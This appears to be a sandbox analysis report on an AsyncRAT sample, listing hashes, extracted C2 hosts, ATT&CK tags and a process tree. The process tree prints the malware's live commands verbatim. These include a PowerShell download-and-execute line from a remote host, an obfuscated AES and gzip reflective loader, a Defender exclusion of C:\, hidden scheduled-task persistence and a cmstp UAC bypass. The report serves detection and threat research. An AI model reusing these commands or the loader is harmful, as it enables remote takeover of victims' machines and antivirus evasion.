asyncrat | 1034cb1effff3e411b07d3d8a318b5b6d4164d3feea9151c857715abd8ee2f9e

Analysis

max time kernel
149s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-12-2024 19:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1821_output.vbs
Size

61KB
MD5

6943e4c37b93c2a81a98a81e36d2d5ce
SHA1

ad2ba17165344f88b6bf0befaac528feb8a3280f
SHA256

57bf3620d73728f07bed5cd48af70ca89dc70721b62c084f5f0feebed7f81a4f
SHA512

78034880a195d5dc7729a6c7631a660f9945dd368a86b50b458e70e0191a7953ba47435c242c94ce8548832e4920e08949fcb1aa099d5d7b927da9bc9b69cf80
SSDEEP

768:ni1+nYY2MDjo2CLlIbkrMvrIzkoILj2AA3drdg8KCklQCdUq13ZZIwX+Ay6Iwcgh:iXvlIkgvrWC3ASCk0q13HX+C9czhG

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

jt8iyre.localto.net:55644

jt8iyre.localto.net:2101

Mutex

WzRdrlEJS302

Attributes

delay
3
install
false
install_file
dwmm.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/memory/1604-123-0x0000000006F40000-0x0000000006F52000-memory.dmp	family_asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	3532	powershell.exe
45	1604	powershell.exe
53	1604	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1128	powershell.exe
1604	powershell.exe
1532	powershell.exe
1236	powershell.exe
3532	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
436	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3532	powershell.exe
3532	powershell.exe
1532	powershell.exe
1532	powershell.exe
1236	powershell.exe
1236	powershell.exe
1128	powershell.exe
1128	powershell.exe
1604	powershell.exe
1604	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3532	powershell.exe
Token: SeDebugPrivilege	1532	powershell.exe
Token: SeDebugPrivilege	436	taskkill.exe
Token: SeDebugPrivilege	1236	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeIncreaseQuotaPrivilege	1128	powershell.exe
Token: SeSecurityPrivilege	1128	powershell.exe
Token: SeTakeOwnershipPrivilege	1128	powershell.exe
Token: SeLoadDriverPrivilege	1128	powershell.exe
Token: SeSystemProfilePrivilege	1128	powershell.exe
Token: SeSystemtimePrivilege	1128	powershell.exe
Token: SeProfSingleProcessPrivilege	1128	powershell.exe
Token: SeIncBasePriorityPrivilege	1128	powershell.exe
Token: SeCreatePagefilePrivilege	1128	powershell.exe
Token: SeBackupPrivilege	1128	powershell.exe
Token: SeRestorePrivilege	1128	powershell.exe
Token: SeShutdownPrivilege	1128	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeSystemEnvironmentPrivilege	1128	powershell.exe
Token: SeRemoteShutdownPrivilege	1128	powershell.exe
Token: SeUndockPrivilege	1128	powershell.exe
Token: SeManageVolumePrivilege	1128	powershell.exe
Token: 33	1128	powershell.exe
Token: 34	1128	powershell.exe
Token: 35	1128	powershell.exe
Token: 36	1128	powershell.exe
Token: SeIncreaseQuotaPrivilege	1128	powershell.exe
Token: SeSecurityPrivilege	1128	powershell.exe
Token: SeTakeOwnershipPrivilege	1128	powershell.exe
Token: SeLoadDriverPrivilege	1128	powershell.exe
Token: SeSystemProfilePrivilege	1128	powershell.exe
Token: SeSystemtimePrivilege	1128	powershell.exe
Token: SeProfSingleProcessPrivilege	1128	powershell.exe
Token: SeIncBasePriorityPrivilege	1128	powershell.exe
Token: SeCreatePagefilePrivilege	1128	powershell.exe
Token: SeBackupPrivilege	1128	powershell.exe
Token: SeRestorePrivilege	1128	powershell.exe
Token: SeShutdownPrivilege	1128	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeSystemEnvironmentPrivilege	1128	powershell.exe
Token: SeRemoteShutdownPrivilege	1128	powershell.exe
Token: SeUndockPrivilege	1128	powershell.exe
Token: SeManageVolumePrivilege	1128	powershell.exe
Token: 33	1128	powershell.exe
Token: 34	1128	powershell.exe
Token: 35	1128	powershell.exe
Token: 36	1128	powershell.exe
Token: SeIncreaseQuotaPrivilege	1128	powershell.exe
Token: SeSecurityPrivilege	1128	powershell.exe
Token: SeTakeOwnershipPrivilege	1128	powershell.exe
Token: SeLoadDriverPrivilege	1128	powershell.exe
Token: SeSystemProfilePrivilege	1128	powershell.exe
Token: SeSystemtimePrivilege	1128	powershell.exe
Token: SeProfSingleProcessPrivilege	1128	powershell.exe
Token: SeIncBasePriorityPrivilege	1128	powershell.exe
Token: SeCreatePagefilePrivilege	1128	powershell.exe
Token: SeBackupPrivilege	1128	powershell.exe
Token: SeRestorePrivilege	1128	powershell.exe
Token: SeShutdownPrivilege	1128	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeSystemEnvironmentPrivilege	1128	powershell.exe
Token: SeRemoteShutdownPrivilege	1128	powershell.exe
Token: SeUndockPrivilege	1128	powershell.exe
Token: SeManageVolumePrivilege	1128	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 4628 wrote to memory of 2816	4628	WScript.exe	84
PID 4628 wrote to memory of 2816	4628	WScript.exe	84
PID 2816 wrote to memory of 3532	2816	cmd.exe	86
PID 2816 wrote to memory of 3532	2816	cmd.exe	86
PID 3532 wrote to memory of 2416	3532	powershell.exe	88
PID 3532 wrote to memory of 2416	3532	powershell.exe	88
PID 2416 wrote to memory of 4456	2416	csc.exe	89
PID 2416 wrote to memory of 4456	2416	csc.exe	89
PID 3532 wrote to memory of 3968	3532	powershell.exe	90
PID 3532 wrote to memory of 3968	3532	powershell.exe	90
PID 4628 wrote to memory of 4936	4628	WScript.exe	112
PID 4628 wrote to memory of 4936	4628	WScript.exe	112
PID 4936 wrote to memory of 1236	4936	cmd.exe	114
PID 4936 wrote to memory of 1236	4936	cmd.exe	114
PID 4936 wrote to memory of 1236	4936	cmd.exe	114
PID 1236 wrote to memory of 1128	1236	powershell.exe	115
PID 1236 wrote to memory of 1128	1236	powershell.exe	115
PID 1236 wrote to memory of 1128	1236	powershell.exe	115
PID 1236 wrote to memory of 3504	1236	powershell.exe	119
PID 1236 wrote to memory of 3504	1236	powershell.exe	119
PID 1236 wrote to memory of 3504	1236	powershell.exe	119
PID 3504 wrote to memory of 3064	3504	WScript.exe	120
PID 3504 wrote to memory of 3064	3504	WScript.exe	120
PID 3504 wrote to memory of 3064	3504	WScript.exe	120
PID 3064 wrote to memory of 1604	3064	cmd.exe	122
PID 3064 wrote to memory of 1604	3064	cmd.exe	122
PID 3064 wrote to memory of 1604	3064	cmd.exe	122

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1821_output.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3532
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\j1ui5z0u\j1ui5z0u.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2416
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7956.tmp" "c:\Users\Admin\AppData\Local\Temp\j1ui5z0u\CSC1B074F84B4B949C1A5BB403183B915FD.TMP"
        5⤵
        
        PID:4456
  - - C:\windows\system32\cmstp.exe
      "C:\windows\system32\cmstp.exe" /au C:\windows\temp\pxaymznh.inf
      4⤵
      PID:3968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4936
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1236
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_306_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\latencyx306.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1128
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\latencyx306.vbs"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3504
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\latencyx306.bat" "
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3064
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Roaming\latencyx306.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1604

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1532

C:\Windows\system32\taskkill.exe
taskkill /IM cmstp.exe /F
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:436

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
9751fcb3d8dc82d33d50eebe53abe314

SHA1
7a680212700a5d9f3ca67c81e0e243834387c20c

SHA256
ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7

SHA512
54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
8bf24247b25e87db40506fab814179b2

SHA1
6cb851b93d0e25daa2428feb40deeaf7060f981f

SHA256
7b43db91d1d7bf33066e4e0debb6c72209bef9e6307958c2633d6248dcad5bc3

SHA512
859b74517b1d1ab126e0a771d7a1441e705d99b4c9b636de2df5bb8381ff3dc276d32140103587bed8d85563a33137bbf73c4a946037711bc1687f41ac06407c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
676eb690a7b61fba3a50d23dda7572e5

SHA1
46869d9001751eaa50900c630499fec700478458

SHA256
2d9b67c24a00d55d93fcd647493c3024154144ee21908653c4450fa88b0dff2b

SHA512
9673231db7c03ee400a5f73074513cdfd498521ca5e5922514f21066a772485aaada57ff8f1de209e96e780a41576ba373f54e226485172d6b4dfe263ee67162

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES7956.tmp

Filesize
1KB

MD5
9aa607af9aee9dc69092b94cebfccb09

SHA1
60369a69763794f0c65ae761f997ff3f12a33431

SHA256
bcfca3a1d1aa495692fcce17d52ecb81693a270bfaa49bad0f4bf3358a9fe8f3

SHA512
9066d33463cc9ebdfab86533dde17597d9f228a3681728dbb80d842c6ca2a8580d8cc0f961374505db5304182a4a90d2bb14411a493ead57b50e7c312db7cbbf

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vkbbaymz.3ri.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
53KB

MD5
5658af2134929280550a46a39d5d1254

SHA1
757ce11f87e3886b0320fca0bd6bf1f26968a25e

SHA256
942cc99875f60e2aef139a7d8e8341409d2dd4625573f32cbe292124838cdeed

SHA512
e7ac74d0f9182d563dcb5765c160bec3ea4ede13a0a2612bafc5c8451393f3646430c340df57f1ad02807d9b610f55da0db2c67d531de21e91c21ebfe3cea1c8

Download Submit
C:\Users\Admin\AppData\Local\Temp\j1ui5z0u\j1ui5z0u.dll

Filesize
4KB

MD5
512b4e3ca61cea6a3909db43ff3f8f8e

SHA1
831111121b519f37128ffc55fe2e8d8dfd50a449

SHA256
59911c1645b2a263b6c779282dd287b1c7496c5bda28b0c05b5bef0e6c54ec04

SHA512
dc41c58635d0d3b22b7e3e6251b095682d719db02bf84ce425547401067ac7d7be369a514738017dd53cedb6f5b9c05fb4e7c37f00f5182f1d3bca53d1c293ce

Download Submit
C:\Users\Admin\AppData\Roaming\latencyx306.vbs

Filesize
111B

MD5
874d339723a284a87f523c6fb699f17e

SHA1
a2a34c4bae4984acb197101e589989db5930c80a

SHA256
b2794595e97229fa4bda9bcfec2e83f3b5bcb376f562bb999500ef7e45128deb

SHA512
6d8805c34fead5b1bd505636d3104386cb83b5d893bf68d81e00a82a175c37f8e210f111b957597e05ea10d578f8e590bd7c4bf5f4e60c1859643d4303a55b67

Download Submit
C:\windows\temp\pxaymznh.inf

Filesize
683B

MD5
a4fd12b94ad4ac06fabd8dd56dd5ff2b

SHA1
940d129205e04ba31b10a72d7a7a236a9ed0488b

SHA256
fe9977d49d2ae366779da959a5c9a6cc7664bc82d7c8e243f1baa9aa539cd320

SHA512
a4712ad7a23ab7a1eadfdaa7dc73dc406a0a14313c0413561f2f4ba8087c79c504d1d4391585b1b91f580ffef3869a37523707979dd5ab870a596062497e79fe

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\j1ui5z0u\CSC1B074F84B4B949C1A5BB403183B915FD.TMP

Filesize
652B

MD5
2c60cf116e76fd58085dad4c4d6adaa7

SHA1
ead7eb664a4184e73c238e4cc03cfe95f811f988

SHA256
75693401e1beced739d5573d495a51de2aef986cd5d5f838af061673331942d5

SHA512
b22068bac7884ea26c38b3503c24f002e03d7e636d2440bc2d70754bcd2678f16bb67672c82715a4b75017fd3d8343dbab8d08bdb9e715dcb446fe9fd0cc22f7

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\j1ui5z0u\j1ui5z0u.0.cs

Filesize
2KB

MD5
897ac4306f2a2524bc3c441bd00c72b9

SHA1
1703dbf9a2a78491dfd6685540d4691839e33b69

SHA256
a889dd1616631e369d253d6d89cc3a253b663e636bb1cdebbf831817592b405b

SHA512
2eba96a7960fe4c8c083ffbca30dbff4c5aac6acfa2c99b6ab5802376d028cbf471c3f06fcef9a3a0129dc988df1aceba808c3436cd110c123dc2ba1147c81b6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\j1ui5z0u\j1ui5z0u.cmdline

Filesize
369B

MD5
94aff7584b855e4ba03be9622c7878d4

SHA1
d2f7fd732924199e849827f0645bd6579c08adb3

SHA256
3764ed1176818555fe8100b7042440f74e66c3fb91aee2a90cf3bc0e7738e5d2

SHA512
77d3412d7706b2f73b5b596f189c8f505cfa6bde4403170c4f59f896694df2558c40298fff5c93dbcbdc3f78ed73531e21b400092959fe585a00a583b807007b

Download Submit
memory/1128-99-0x00000000070D0000-0x0000000007173000-memory.dmp

Filesize
652KB

Download
memory/1128-87-0x0000000007080000-0x00000000070B2000-memory.dmp

Filesize
200KB

Download
memory/1128-102-0x0000000007430000-0x0000000007441000-memory.dmp

Filesize
68KB

Download
memory/1128-101-0x00000000074C0000-0x0000000007556000-memory.dmp

Filesize
600KB

Download
memory/1128-100-0x0000000007290000-0x000000000729A000-memory.dmp

Filesize
40KB

Download
memory/1128-98-0x0000000007060000-0x000000000707E000-memory.dmp

Filesize
120KB

Download
memory/1128-88-0x0000000070EC0000-0x0000000070F0C000-memory.dmp

Filesize
304KB

Download
memory/1236-57-0x00000000061F0000-0x0000000006256000-memory.dmp

Filesize
408KB

Download
memory/1236-54-0x0000000005B10000-0x0000000006138000-memory.dmp

Filesize
6.2MB

Download
memory/1236-53-0x00000000032E0000-0x0000000003316000-memory.dmp

Filesize
216KB

Download
memory/1236-56-0x0000000005AA0000-0x0000000005B06000-memory.dmp

Filesize
408KB

Download
memory/1236-67-0x00000000063D0000-0x0000000006724000-memory.dmp

Filesize
3.3MB

Download
memory/1236-69-0x0000000006890000-0x00000000068AE000-memory.dmp

Filesize
120KB

Download
memory/1236-70-0x00000000068E0000-0x000000000692C000-memory.dmp

Filesize
304KB

Download
memory/1236-71-0x0000000008080000-0x00000000086FA000-memory.dmp

Filesize
6.5MB

Download
memory/1236-72-0x0000000007A40000-0x0000000007A5A000-memory.dmp

Filesize
104KB

Download
memory/1236-73-0x0000000007A70000-0x0000000007A78000-memory.dmp

Filesize
32KB

Download
memory/1236-74-0x0000000007B70000-0x0000000007C0C000-memory.dmp

Filesize
624KB

Download
memory/1236-75-0x0000000007C90000-0x0000000007C9E000-memory.dmp

Filesize
56KB

Download
memory/1236-76-0x0000000008CB0000-0x0000000009254000-memory.dmp

Filesize
5.6MB

Download
memory/1236-55-0x0000000005A00000-0x0000000005A22000-memory.dmp

Filesize
136KB

Download
memory/1604-123-0x0000000006F40000-0x0000000006F52000-memory.dmp

Filesize
72KB

Download
memory/1604-128-0x0000000007490000-0x0000000007522000-memory.dmp

Filesize
584KB

Download
memory/1604-127-0x00000000070E0000-0x00000000070FE000-memory.dmp

Filesize
120KB

Download
memory/1604-126-0x0000000005E30000-0x0000000005E98000-memory.dmp

Filesize
416KB

Download
memory/1604-125-0x0000000005A50000-0x0000000005AC6000-memory.dmp

Filesize
472KB

Download
memory/3532-48-0x00007FFCD9870000-0x00007FFCDA331000-memory.dmp

Filesize
10.8MB

Download
memory/3532-12-0x00007FFCD9870000-0x00007FFCDA331000-memory.dmp

Filesize
10.8MB

Download
memory/3532-11-0x00007FFCD9870000-0x00007FFCDA331000-memory.dmp

Filesize
10.8MB

Download
memory/3532-1-0x000001ACD6060000-0x000001ACD6082000-memory.dmp

Filesize
136KB

Download
memory/3532-43-0x00007FFCD9873000-0x00007FFCD9875000-memory.dmp

Filesize
8KB

Download
memory/3532-26-0x000001ACEE360000-0x000001ACEE368000-memory.dmp

Filesize
32KB

Download
memory/3532-44-0x00007FFCD9870000-0x00007FFCDA331000-memory.dmp

Filesize
10.8MB

Download
memory/3532-0-0x00007FFCD9873000-0x00007FFCD9875000-memory.dmp

Filesize
8KB

Download
memory/3532-13-0x000001ACD60D0000-0x000001ACD60EC000-memory.dmp

Filesize
112KB

Download